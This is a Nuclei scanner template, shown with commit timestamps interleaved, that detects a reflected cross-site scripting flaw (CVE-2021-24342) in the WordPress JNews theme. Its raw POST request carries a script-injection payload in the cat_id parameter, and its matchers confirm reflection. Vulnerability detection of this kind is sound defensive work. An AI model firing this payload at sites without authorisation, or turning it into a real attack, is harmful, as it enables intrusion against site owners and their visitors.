nuclei-templates/http/cves/2021/CVE-2021-24342.yaml

55 lines
1.8 KiB
YAML
Raw Normal View History

2021-09-15 05:02:38 +00:00
id: CVE-2021-24342
info:
name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
2021-09-15 05:02:38 +00:00
author: pikpikcu
severity: medium
description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
2021-09-15 05:02:38 +00:00
reference:
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24342
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.41439
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: jnews
product: jnews
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: cve2021,wordpress,xss,wp-plugin,wpscan,cve
2021-09-15 05:02:38 +00:00
http:
2021-09-15 05:02:38 +00:00
- raw:
- |
POST /?ajax-request=jnews HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
2021-09-15 05:04:51 +00:00
2021-09-15 09:05:51 +00:00
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
2021-09-15 05:02:38 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-09-15 05:02:38 +00:00
words:
2021-09-15 09:05:51 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-15 05:02:38 +00:00
- type: word
2023-07-11 19:49:27 +00:00
part: header
2021-09-15 05:02:38 +00:00
words:
- 'Content-Type: text/html'
- type: status
status:
- 200
# digest: 4a0a00473045022100debfb5d7f501a2f565a02086638afc90d9f5b70f5af0f482424a56f413978e3302201e5eaf38472ff89548f5d365cad14dc2882447315a7fe3f1f50392884ebf6b7f:922c64590222798bb761d5b6d8e72950